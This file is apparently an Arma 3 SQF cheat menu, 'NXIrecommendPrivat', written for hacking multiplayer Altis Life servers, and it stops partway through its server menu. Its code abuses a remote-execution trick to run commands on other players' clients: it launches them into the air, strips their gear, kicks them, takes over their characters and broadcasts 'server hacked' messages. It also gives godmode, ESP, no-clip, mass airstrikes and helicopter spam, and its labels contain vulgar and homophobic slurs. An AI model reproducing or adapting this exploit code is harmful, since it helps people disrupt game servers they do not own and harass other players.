Code:
life_illegal_item_cleared = [];
life_illegalweapons = [];
life_illegal_items = [];
setDate [2012, 9, 1, 13, 0];
pnc = (findDisplay 46) displayAddEventHandler["KeyDown", { if ((_this select 1) == 60) then {_l23 = name cursorTarget;_l24 = format["if(name player=='%1')then{vehicle player setVelocity [0,0,200];};", _l23];[_l24] call DurkSintax_Pro_RE;hint format["Fly %1", _l23];cutText[format["Fly %1", _l23], "PLAIN DOWN"];} }];
pnc2 = (findDisplay 46) displayAddEventHandler["KeyDown", { if ((_this select 1) == 61) then {_gte = name cursorTarget;gten = format[ "if (name player == '%1') then { removeAllWeapons player;removeAllWeapons player;removeuniform player;removevest player;removeAllItems player;removeBackpack player;}; ", _gte]; [gten] call DurkSintax_Pro_RE;} }];
pnc3 = (findDisplay 46) displayAddEventHandler["KeyDown", { if ((_this select 1) == 59) then { _gte = name cursorTarget; gten = format[ " if (name player == '%1') then { vehicle player setFuel 0; }; ", _gte]; [gten] call DurkSintax_Pro_RE; Hint format ["%1 Vehicle Stoped!", _gte];}}];
pnc5 = (findDisplay 46) displayAddEventHandler["KeyDown", { if ((_this select 1) == 62) then {openMap[true,false];onMapSingleClick"[_pos select 0,_pos select 1,_pos select 2]call IrEcOCMmeNEnd_so_fly";}}];
pnc5 = (findDisplay 46) displayAddEventHandler["KeyDown", { if ((_this select 1) == 62) then {openMap[true,false];onMapSingleClick"[_pos select 0,_pos select 1,_pos select 2]call IrEcOCMmeNEnd_so_fly";}}];
pnc4 = (findDisplay 46) displayAddEventHandler["KeyDown", { if ((_this select 1) == 68) then {player switchCamera "Internal";selectPlayer player;player remoteControl player;}}];
player addEventHandler["Respawn",{player removeaction doshtact; doshtact=player addAction ["<t color='#3ADF00'>Laden</t>",{_nul=[]; []spawn NxIrecommendMain;}];}];
DurkSintax_Pro_RE={M_R_IRecommend='C_man_1'createUnit[[0,0,0],(createGroup west),(_this select 0),1.0,"MAJOR"];};
//onMapSingleClick "vehicle player setPos _pos";
_gapinganusIrecommend = player;
_gapinganusIrecommend enableFatigue false;
life_thirst = 50000;
life_hunger = 50000;
life_carryWeight = -50000;
removeallactions player;
cutText[" \nNXIrecommendPrivat wird geladen....","PLAIN"];
cutText[" \nOK!....","PLAIN"];
removeallactions player;
player removeaction Banner;
Banner= player addAction ["<t color='#FF0000'>NXIrecommendPrivat </t>", "removeallactions player"];
player removeaction Banner2;
Banner2= player addAction ["<t color='#000000'>----------------------</t>", ""];
player removeaction Menue_Main;
Menue_Main= player addAction ["<t color='#3ADF00'>Main Menue</t>","[]spawn MainMenue"];
player removeaction Menue_Altis;
Menue_Altis= player addAction ["<t color='#00FFFF'>Altis Menue</t>","[]spawn AltisMenue"];
player removeaction Menue_Troll;
Menue_Troll= player addAction ["<t color='#DF01D7'>Troll Menue</t>","[]spawn TrollMenue"];
player removeaction Menue_Spawn;
Menue_Spawn= player addAction ["<t color='#FF8000'>Spawn Menue</t>","[]spawn SpawnMenue"];
player removeaction TargetAllMenueLoad;
TargetAllMenueLoad= player addAction ["<t color='#00FF00'>Server Menue</t>", "[]spawn TargetAllMenue"];
////Menüs////
////NxIrecommendMain////
NxIrecommendMain = {removeallactions player;
player removeaction Banner;
Banner= player addAction ["<t color='#FF0000'>NXIrecommendPrivat </t>", "removeallactions player"];
player removeaction Banner2;
Banner2= player addAction ["<t color='#000000'>----------------------</t>", ""];
player removeaction Menue_Main;
Menue_Main= player addAction ["<t color='#3ADF00'>Main Menue</t>","[]spawn MainMenue"];
player removeaction Menue_Altis;
Menue_Altis= player addAction ["<t color='#00FFFF'>Altis Menue</t>","[]spawn AltisMenue"];
player removeaction Menue_Troll;
Menue_Troll= player addAction ["<t color='#DF01D7'>Troll Menue</t>","[]spawn TrollMenue"];
player removeaction Menue_Spawn ;
Menue_Spawn= player addAction ["<t color='#FF8000'>Spawn Menue</t>","[]spawn SpawnMenue"];
player removeaction TargetAllMenueLoad;
TargetAllMenueLoad= player addAction ["<t color='#00FF00'>Server Menue</t>", "[]spawn TargetAllMenue"];
};
////Troll////
TrollMenue = {removeallactions player;
player removeaction closetroll;
closetroll= player addAction ["<t color='#FF0000'>Close</t>","[]spawn NxIrecommendMain"];
player removeaction TrollBanner2;
TrollBanner2= player addAction ["<t color='#000000'>----------------------</t>", ""];
player removeaction afaffads;
afaffads= player addAction ["<t color='#7F25E0'>===MISC===</t>", ""];
player removeaction delete;
delete= player addAction ["Delete",{deleteVehicle cursorTarget;cutText[format["%1 DELETED",cursorTarget],"PLAIN DOWN"];}];
player removeaction TskServer;
TskServer= player addAction ["Task Server",{closedialog 0;[{[] spawn {["TaskCreated", ["", "Such den Hacker!"]] call BIS_fnc_showNotification;sleep 50;["TaskFailed", ["", "YOU JUST GOT ANAL FUCKED"]] call BIS_fnc_showNotification;};}, "BIS_fnc_SPAWN", true, false] call BIS_fnc_MP;hint "Fertig";}];
player addAction ["Broadcast", { _share = " hint 'Hallo wie geht es euch? Achja Server wurde gehackt und ich liebe euch sehr doll ==D'; "; [_share] call DurkSintax_Pro_RE;}];
player removeaction Question;
Question= player addAction ["Question",{closedialog 0;_FUCK = format["['Hallo, Dieser Server wurde mit dem NxIrecommend Privat Menü 2.0 Gehackt. Für Fragen bezüglich des Menüs biete ich (MrIrecommend) mich auf folgenden Teamspeak an --- ShitHacks.mirwayne.de'] spawn BIS_fnc_guiMessage", "NONE"];[_FUCK] call DurkSintax_Pro_RE;}];
player removeaction EDDText;
EDDText= player addAction ["3D Text",{closedialog 0;if (isNil "IRREEECOMMMMMANNNNNDDD_atext") then {IRREEECOMMMMMANNNNNDDD_atext = 0;};if (IRREEECOMMMMMANNNNNDDD_atext == 0) then {IRREEECOMMMMMANNNNNDDD_atext = 1;hint "3D Text ON";_3d = "[] spawn{disableSerialization;if (isNil ""BIS_fnc_3dCredits_n"") then {BIS_fnc_3dCredits_n = 2733;};BIS_fnc_3dCredits_n cutRsc [""rscDynamicText"", ""PLAIN""];BIS_fnc_3dCredits_n = BIS_fnc_3dCredits_n + 1;_ctrl = ((uiNamespace getvariable ""BIS_dynamicText"") displayctrl 9999);_ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;tdtext = true;while {tdtext} do{if !(tdtext) exitWith {};_pos = [(getPosATL player) select 0, (getPosATL player) select 1, ((getPosATL player) select 2) + 2];_pos2D = worldToScreen _pos;if (count _pos2D > 0) then{_ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];_text = parseText ""<t size='0.8' color='#FF1AAA'>Server geowned =P</t>"";_ctrl ctrlSetStructuredText _text;_ctrl ctrlCommit 0;};};_ctrl ctrlShow false;_ctrl ctrlEnable false;};";[_3d] call DurkSintax_Pro_RE;} else {IRREEECOMMMMMANNNNNDDD_atext = 0;hint "3D Text OFF";_3d = "tdtext = false; tdtext = nil";[_3d] call DurkSintax_Pro_RE;};}];
player removeaction dadadf;
dadadf= player addAction ["<t color='#7F25E0'>===Server Explosionen Klein===</t>", ""];
player addAction ["Bombe", {Missles = 1;missle1 = {openMap [false, false];[_pos] spawn {for '_i' from 0 to Missles do{_missle = "Bo_GBU12_LGB";_mpos = [_this select 0 select 0, _this select 0 select 1, (_this select 0 select 2) + 200];_launch = createVehicle [_missle, _mpos, [], 0, "CAN_COLLIDE"];_launch setvelocity [0,0,0];[_launch,-90,0] call BIS_fnc_setPitchBank;hint format ["%1 Missiles Launched",_i];sleep (random 1.00);};};};titleText ["Click on map drop missle's","PLAIN"]; titlefadeout 7;onMapSingleClick "_pos call missle1;";openMap [true, false];}];
player addAction ["Bombe (10X)", {Missles = 10;missle1 = {openMap [false, false];[_pos] spawn {for '_i' from 0 to Missles do{_missle = "Bo_GBU12_LGB";_mpos = [_this select 0 select 0, _this select 0 select 1, (_this select 0 select 2) + 200];_launch = createVehicle [_missle, _mpos, [], 0, "CAN_COLLIDE"];_launch setvelocity [0,0,0];[_launch,-90,0] call BIS_fnc_setPitchBank;hint format ["%1 Missiles Launched",_i];sleep (random 1.00);};};};titleText ["Click on map drop missle's","PLAIN"]; titlefadeout 7;onMapSingleClick "_pos call missle1;";openMap [true, false];}];
player addAction ["Airstrike", {Missles = 1;missle1 = {openMap [false, false];[_pos] spawn {for '_i' from 0 to Missles do{_missle = "M_AT";_mpos = [_this select 0 select 0, _this select 0 select 1, (_this select 0 select 2) + 200];_launch = createVehicle [_missle, _mpos, [], 0, "CAN_COLLIDE"];_launch setvelocity [0,0,0];[_launch,-90,0] call BIS_fnc_setPitchBank;hint format ["%1 Missiles Launched",_i];sleep (random 1.00);};};};titleText ["Click on map drop missle's","PLAIN"]; titlefadeout 7;onMapSingleClick "_pos call missle1;";openMap [true, false];}];
player addAction ["Airstrike(10X)", {Missles = 10;missle1 = {openMap [false, false];[_pos] spawn {for '_i' from 0 to Missles do{_missle = "M_AT";_mpos = [_this select 0 select 0, _this select 0 select 1, (_this select 0 select 2) + 200];_launch = createVehicle [_missle, _mpos, [], 0, "CAN_COLLIDE"];_launch setvelocity [0,0,0];[_launch,-90,0] call BIS_fnc_setPitchBank;hint format ["%1 Missiles Launched",_i];sleep (random 1.00);};};};titleText ["Click on map drop missle's","PLAIN"]; titlefadeout 7;onMapSingleClick "_pos call missle1;";openMap [true, false];}];
player addAction ["Kleiner Blitz", {private ["_caller"];
_caller = _this select 0;
omsz = false;
titleText ["Map..", "PLAIN"];
["mk_zeuslb", "onMapSingleClick", {
titleText ["", "PLAIN"];
_center = createCenter sideLogic;
_group = createGroup _center;
_target = getPos (nearestObject _pos);
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
sleep 1;
"Bo_GBU12_LGB" createvehiclelocal [(_pos select 0) , (_pos select 1) , 0+ 0];
["mk_zeuslb", "onMapSingleClick"] call BIS_fnc_removeStackedEventHandler;
omscz = true;
true;
openMap [false, false];
}] call BIS_fnc_addStackedEventHandler;;}];
player removeaction dadaadf;
dadaadf= player addAction ["<t color='#7F25E0'>===Server Explosionen Mega===</t>", ""];
player addAction ["Airstrike (1000 Rakten)", {meins=1000;mein1={openMap[false,false];[_pos]spawn{for'_l39'from 0 to meins do{_l87="M_AT";_l88=[_this select 0 select 0,_this select 0 select 1,(_this select 0 select 2)+200];_l89=createVehicle[_l87,_l88,[],0,"CAN_COLLIDE"];_l89 setvelocity[random 1000.00 - 500,random 1000.00 - 500,0];[_l89,-90,0]call BIS_fnc_setPitchBank;hint format["%1 Missiles Launched - ",_l39];sleep(random 0.00001);};};};titleText["Click on map to drop Airstrike","PLAIN"];titlefadeout 7;onMapSingleClick"_pos call mein1;";openMap[true,false];}];
player addAction ["Jet Kill", {if (isnil "GAYcow" ) then {GAYcow=0};
if (GAYcow==0) then
{
player addweapon "ItemGPS";
GAYcow=1;
};
closedialog 0;
sleep 0.5;
TitleText [format["Click on the map"], "PLAIN DOWN"];
openMap [true, false];
GayPASS = 'hint "Airstrike ";';
GayPASS = GayPASS + ' _pos = [(cTargetPos select 0) + random 100, (cTargetPos select 1) + random 100, 100];';
GayPASS = GayPASS + ' PLANE1 = createVehicle ["I_Plane_Fighter_03_CAS_F", [(_pos) select 0,(_pos) select 1,500], [], 0, "FLY"];';
GayPASS = GayPASS + 'cpbLoops = 100;';
GayPASS = GayPASS + 'cpLoopsDelay = 0.0001;';
GayPASS = GayPASS + 'for "_i" from 0 to cpbLoops do {';
GayPASS = GayPASS + ' _pos1 = [(cTargetPos select 0)+random 300, (cTargetPos select 1)+random 300];';
//GayPASS = GayPASS + ' _chute= createvehicle ["B_Parachute_02_F", [(_pos1) select 0,(_pos1) select 1], [], 0, "FLY"];';
//GayPASS = GayPASS + ' _heli= createvehicle ["B_Heli_Light_01_armed_F", [(_pos1) select 0,(_pos1) select 1,152], [], 0, "FORM"];';
GayPASS = GayPASS + ' _chute= createvehicle ["", [(_pos1) select 0,(_pos1) select 1], [], 0, ""];';
GayPASS = GayPASS + ' _heli= createvehicle ["I_Plane_Fighter_03_CAS_F", [(_pos1) select 0,(_pos1) select 1,152], [], 0, "FORM"];';
GayPASS = GayPASS + ' _heli attachTo [ _chute, [0,0,0]];' ;
GayPASS = GayPASS + 'sleep cpLoopsDelay;};';
GayPASS = GayPASS + 'cTargetPos = nil;cpbLoops = nil;cpLoopsDelay = nil;';
onMapSingleClick "cTargetPos = _pos;[] spawn compile GayPASS; onMapSingleClick '';true;";;}];
player addAction ["Mega Blitz", {private ["_caller"];
_caller = _this select 0;
omsz = false;
titleText ["Map Bitch.", "PLAIN"];
["mk_zeuslb", "onMapSingleClick", {
_center = createCenter sideLogic;
_group = createGroup _center;
_target = getPos (nearestObject _pos);
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
_zlb = _group createUnit ["ModuleLightning_F",_target,[],0,""];
sleep 1;
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 0+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 5+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 10+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 15+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 20+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 25+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 30+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 35+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 40+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 45+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 50+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 55+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 60+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 65+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 75+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 80+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 85+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 90+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 100+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 110+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 120+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 130+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 140+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 150+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 160+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 170+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 180+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 190+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 200+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 210+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 220+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 230+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 240+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 250+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 260+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 270+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 280+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 290+ 0];
"HelicopterExploSmall" createvehiclelocal [(_pos select 0) , (_pos select 1) , 300+ 0];
["mk_zeuslb", "onMapSingleClick"] call BIS_fnc_removeStackedEventHandler;
omscz = true;
true;
openMap [false, false];
}] call BIS_fnc_addStackedEventHandler;}];
player addAction ["Server Kill (20 Helis all)", {c = 20;While { c > 1 } do { {"O_Heli_Attack_02_black_F" createVehicle position _x;} foreach playableUnits; c = c - 1; hint format ["%1",c];};;}];
};
////MainMenue////
MainMenue = {removeallactions player;player removeaction CloseMain;
CloseMain= player addAction ["<t color='#FF0000'>Close</t>","[]spawn NxIrecommendMain"];
player removeaction Menue_Target;
Menue_Target= player addAction ["<t color='#70E834'>Target Menue</t>","[]spawn TargetMenue"];
player removeaction MainBanner2;
MainBanner2= player addAction ["<t color='#000000'>----------------------</t>", ""];
player removeaction playerrrr;
playerrrr= player addAction ["<t color='#7F25E0'>===Player===</t>", ""];
player removeaction moveInDriverrr;
moveInDriverrr= player addAction ["Drive Target vehicle","vehicle player moveInDriver cursorTarget"];
player removeaction dUAMMO;
dUAMMO= player addAction ["Leave vehicle", "moveOut driver vehicle player"];
player removeaction UAMMO;
UAMMO= player addAction ["Unlimited Ammo","[]spawn U_N_L_I_ME"];
player removeaction gmdeoff;
gmdeoff= player addAction ["GodMode [ON/OFF]", "[]spawn IrEcOCMmeNEnd_God_MODE;"];
player removeaction cargod;
cargod= player addAction ["Cargod [ON/OFF]",{if(isnil"DarkNurdSupremeIre_Car_God")then{DarkNurdSupremeIre_Car_God=0};if(DarkNurdSupremeIre_Car_God==0)then{cutText[format["CarGodmode ON"],"PLAIN DOWN"];hint format["CarGodmode ON"];DarkNurdSupremeIre_Car_God=1;DarkNurdSupremeIre_Car_God_lol=true;while{DarkNurdSupremeIre_Car_God_lol}do{if((vehicle player isKindOf"LandVehicle")||(vehicle player isKindOf"Air")||(vehicle player isKindOf"Ship"))then{if((fuel(vehicle player))<0.9)then{vehicle player setFuel 1;};if((damage(vehicle player))!=0)then{vehicle player setdammage 0;};};sleep 0.01;};}else{cutText[format["CarGodmode OFF"],"PLAIN DOWN"];hint format["CarGodmode OFF"];DarkNurdSupremeIre_Car_God_lol=false;DarkNurdSupremeIre_Car_God=0;};}];
player removeaction invisibllle;
invisibllle= player addAction ["Invisiblity", "[]spawn INukeReaper_Invisable"];
player removeaction OnOcLippPp;
OnOcLippPp= player addAction ["No Clip",{if (isNil "IrEcCpLpkEmENd_Noclip") then {IrEcCpLpkEmENd_Noclip = 0;};if (IrEcCpLpkEmENd_Noclip == 0) then {IrEcCpLpkEmENd_Noclip = 1;hint "No Clip ON";} else {IrEcCpLpkEmENd_Noclip = 0;hint "No Clip OFF";};while {IrEcCpLpkEmENd_Noclip == 1}do {_clipList = [];_objects = ((position player) nearObjects 100); {if !(_x in _clipList) then {_clipList = _clipList + [_x];player disableCollisionWith _x;};}forEach _objects; {if !(_x in _objects) then {_clipList = _clipList - [_x];player enableCollisionWith _x;};}forEach _clipList;sleep 5;}; {player enableCollisionWith _x;}forEach _clipList;}];
player removeaction e777p;
e777p= player addAction ["E5P Markers", { if (isnil("E7P")) then { E7P = 0; }; if (E7P == 0) then { E7P = 1; hint "E7P ON "; } else { E7P = 0; hint "E7P OFF "; }; if (E7P == 1) then { onEachFrame { _l49 = nearestobjects[player, ["CAManBase"], 1400]; { if ((side _x != side player) && (getPlayerUID _x != "") && ((player distance _x) < 1400)) then { drawIcon3D["", [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(player distance _x), name _x]), 1, 0.04, "TahomaB"] } else { if ((getPlayerUID _x != "") && ((player distance _x) < 1000)) then { drawIcon3D["", [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 2], 0.1, 0.1, 45, (format["%2 : %1m", round(player distance _x), name _x]), 1, 0.04, "TahomaB"] }; }; } foreach playableUnits; }; } else { onEachFrame { nil }; }; }];
player removeaction MapM;
MapM= player addAction ["Map Markers",{ St12rxick_Noobs = []; St12rxick_Bitches = []; if (isnil "St12rxick_Map_Markers") then { St12rxick_Map_Markers = 0; }; if (St12rxick_Map_Markers == 0) then { St12rxick_Map_Markers = 1; hint "Player Markers ON"; } else { St12rxick_Map_Markers = 0; hint "Player Markers OFF"; }; while { St12rxick_Map_Markers == 1 } do { { if ((vehicle _x isKindOf "LandVehicle") || (vehicle _x isKindOf "Air") || (vehicle _x isKindOf "Ship")) then { if (count(crew vehicle _x) > 0) then { { if (!(_x in St12rxick_Noobs) and(alive _x) and(getPlayerUID _x != "")) then { private["_pos", "_l44", "_l45"]; _l45 = vehicle _x; _pos = visiblePosition _x; _l44 = createMarkerLocal[format["CRW%1%2", _pos select 0, _pos select 1], [(_pos select 0) + 00, _pos select 1, 0]]; _l8 = (gettext(configFile >> 'CfgVehicles' >> (typeof vehicle _x) >> 'displayName')); _l44 setMarkerTextLocal format['%1---%2---%3m', name _x, _l8, round(_x distance player)]; _l44 setMarkerTypeLocal "mil_dot"; if ((side _x == side player) and(side _x != resistance)) then { _l44 setMarkerColorLocal "ColorBlue"; } else { _l44 setMarkerColorLocal "ColorRed"; }; _l44 setMarkerSizeLocal[1, 1]; St12rxick_Noobs set[count St12rxick_Noobs, _x]; [_x, _l44, _l45] spawn { private["_l46", "_l47", "_l48"]; _l46 = _this select 0; _l47 = _this select 1; while { (St12rxick_Map_Markers == 1) and(alive _l46) and(vehicle _l46 != _l46) and(getPlayerUID _l46 != "") } do { _l48 = ((crew vehicle _l46) find _l46); _l47 setMarkerPosLocal([(visiblePosition _l46 select 0) + 00, (visiblePosition _l46 select 1) - (25 + _l48 * 20), 0]); sleep 0.01; }; deleteMarkerLocal _l47; if (_l46 in St12rxick_Noobs) then { St12rxick_Noobs set[(St12rxick_Noobs find _l46), -1]; St12rxick_Noobs = St12rxick_Noobs - [-1]; }; true; }; }; } forEach crew vehicle _x; }; } else { if (!(_x in St12rxick_Bitches) and(vehicle _x == _x) and(getPlayerUID _x != "")) then { private["_pos", "_l44"]; _pos = visiblePosition _x; _l44 = createMarkerLocal[format["PLR%1%2", _pos select 0, _pos select 1], [(_pos select 0) + 00, _pos select 1, 0]]; _l44 setMarkerTypeLocal "mil_dot"; _l44 setMarkerSizeLocal[1, 1]; if ((side _x == side player) and (side _x != resistance)) then { _l44 setMarkerColorLocal "ColorWhite"; } else { _l44 setMarkerColorLocal "ColorRed"; }; _l44 setMarkerTextLocal format["%1---%2", name _x, round(_x distance player)]; if (_x == player) then { _l44 setMarkerColorLocal "ColorGreen"; }; St12rxick_Bitches set[count St12rxick_Bitches, _x]; [_x, _l44] spawn { private["_l46", "_l47"]; _l46 = _this select 0; _l47 = _this select 1; while { (St12rxick_Map_Markers == 1) and(alive _l46) and(vehicle _l46 == _l46) and(getPlayerUID _l46 != "") } do { _l47 setMarkerPosLocal([visiblePosition _l46 select 0, visiblePosition _l46 select 1, 0]); sleep 0.01; }; deleteMarkerLocal _l47; if (_l46 in St12rxick_Bitches) then { St12rxick_Bitches set[(St12rxick_Bitches find _l46), -1]; St12rxick_Bitches = St12rxick_Bitches - [-1]; }; true; }; }; }; } forEach playableUnits; sleep 0.3; }; { _l44 = str _x; deleteMarkerLocal _l44; } forEach playableUnits; }];
};
TargetMenue = {
removeallactions player;
player removeaction CloseTarget;
CloseTarget= player addAction ["<t color='#FF0000'>Close</t>","[]spawn NxIrecommendMain"];
player removeaction TargetBanner2;
TargetBanner2= player addAction ["<t color='#000000'>----------------------</t>", ""];
player removeaction tarrrget;
tarrrget= player addAction ["<t color='#7F25E0'>===Target===</t>", ""];
player removeaction revivet;
revivet= player addAction ["Revive Target",{[[name player],"life_fnc_revived",cursorTarget,FALSE] spawn life_fnc_MP;}];
player removeaction dstrytgt;
dstrytgt= player addAction ["DestroyTarget","cursorTarget setDamage 100"];
player addAction ["Granate Target",{ geordie = cursorTarget;posbam = getPos geordie;"GrenadeHand" createvehiclelocal posbam;sleep 1;}];
player removeaction Spectate;
Spectate= player addAction ["Spectate",{_l23 = name cursorTarget; {if (name _x == _l23) then {_x switchCamera "EXTERNAL";hint format["Spectating %1,press F10 to cancel", name _x];};}
forEach entities "CAManBase";
(findDisplay 46) displayAddEventHandler['KeyDown', 'if((_this select 1)==0x44)then{player switchCamera"EXTERNAL";}'];
}];
player addAction ["EMP Target", { _gte = name cursorTarget; gten = format[ " if (name player == '%1') then { vehicle player setFuel 0; }; ", _gte]; [gten] call DurkSintax_Pro_RE; Hint format ["%1 Vehicle Stoped!", _gte];}];
player removeaction Heal_T;
Heal_T= player addAction ["Heal","[]spawn ILuisReaper_heal_t"];
player removeaction fly_T;
fly_T= player addAction ["Fly",{_l23 = name cursorTarget;_l24 = format["if(name player=='%1')then{vehicle player setVelocity [0,0,100];};", _l23];[_l24] call DurkSintax_Pro_RE;hint format["Fly %1", _l23];cutText[format["Fly %1", _l23], "PLAIN DOWN"];}];
player removeaction JoinVt;
JoinVt= player addAction ["Join Vehicle", {_l23 = name cursorTarget; {if (name _x == _l23) then {player moveInCargo vehicle _x;player moveInGunner vehicle _x;hint format["%1 vehicle joined", _x];cutText[format["%1 vehicle joined", _x], "PLAIN DOWN"];};}forEach entities "AllVehicles";}];
player removeaction Inviss_T;
Inviss_T= player addAction ["Invisibility",{_l23 = name cursorTarget;if (isNil "IrecommandDV2_initarr2") then {IrecommandDV2_initarr2 = true;IrecommandDV2_inamearr2 = [];};if !(_l23 in IrecommandDV2_inamearr2) then {hint format["Invisibility on %1 Activated", _l23];IrecommandDV2_inamearr2 = IrecommandDV2_inamearr2 + [_l23];} else {hint format["Invisibility on %1 Deactivated", _l23];IrecommandDV2_inamearr2 = JJJJ_MMMM___EEEEEEE_inamearr2 - [_l23];};_tinv = format["if (isServer) then{{if ((name _x == '%1') && (name _x in %2)) exitWith{[nil, vehicle _x, 'per', rHIDEOBJECT, true] call RE;};if ((name _x == '%1') && !(name _x in %2)) exitWith{[nil, vehicle _x, 'per', rHIDEOBJECT, false] call RE;};} forEach playableUnits;};", _l23, IrecommandDV2_inamearr2];[_tinv] call DurkSintax_Pro_RE;}];
player removeaction loudout_T;
loudout_T= player addAction ["Loadout","[]spawn WasdFasd_Target_Loadout"];
player removeaction SteleUp_TTt;
SteleUp_TTt= player addAction ["Delete Clothing Target", {_gte = name cursorTarget;gten = format[ "if (name player == '%1') then { removeAllWeapons player;removeAllWeapons player;removeuniform player;removevest player;removeAllItems player;removeBackpack player;}; ", _gte]; [gten] call DurkSintax_Pro_RE;}];
player removeaction FuckUp_TTt;
FuckUp_TTt= player addAction ["FuckUp","[]spawn MoIOoOonster_FuckUp_t"];
player removeaction Kick_T;
Kick_T= player addAction ["Kick",{target = name cursorTarget;kikk = format["if(name player == '%1') then {failMission'LOSER';0 fadeSound 0;for'_l39'from 0 to 100 do{(findDisplay _l39)closeDisplay 0;};};", target];[kikk] call DurkSintax_Pro_RE;hint "This Player has been kicked ";}];
player removeaction Control_T;
Control_T= player addAction ["Control Target",{cursorTarget switchCamera "Internal";selectPlayer cursorTarget;player remoteControl cursorTarget;hint "Press F10 to switch back!"}];
player removeaction spyglassaSsSfake;
spyglassaSsSfake= player addAction ["Fake spyglass", "[]spawn SpyglassFakeTrigger"];
};
////TargetAll////
TargetAllMenue = {removeallactions player;player removeaction TargetAll;
TargetAll= player addAction ["<t color='#FF0000'>Close</t>","[]spawn NxIrecommendMain;"];
player removeaction TargetAllBanner2;
TargetAllBanner2= player addAction ["<t color='#000000'>----------------------</t>", ""];
player removeaction E5P;
E5P= player addAction ["ESP","[]spawn IrEeEeEeComMMMenNEnd_IrEeEeEeComMMMenNEnd_aE5Pj"];
player removeaction glbgod;
glbgod= player addAction ["Godmode On","[]spawn IreCoMMmeNEnNDNdnNDEASD_JesuseMode_a"];
player removeaction glbgodoff;
glbgodoff= player addAction ["Godmode off","[]spawn IreCoMMmeNEnNDNdnNDEASD_JesuseModeOff_a"];
player removeaction Tmed;
Tmed= player addAction ["Time Day", "[]spawn IreCoMMmeNEnNDNdnNDEASD_TimeD"];
player removeaction TmeN;
TmeN= player addAction ["Time Night", "[]spawn IreCoMMmeNEnNDNdnNDEASD_TimeN"];
player removeaction tpalllda;
tpalllda= player addAction ["Tp all", "[]spawn IreCoMMmeNEnNDNdnNDEASD_TPAll_a"];
player removeaction FfIXxfPpsS;
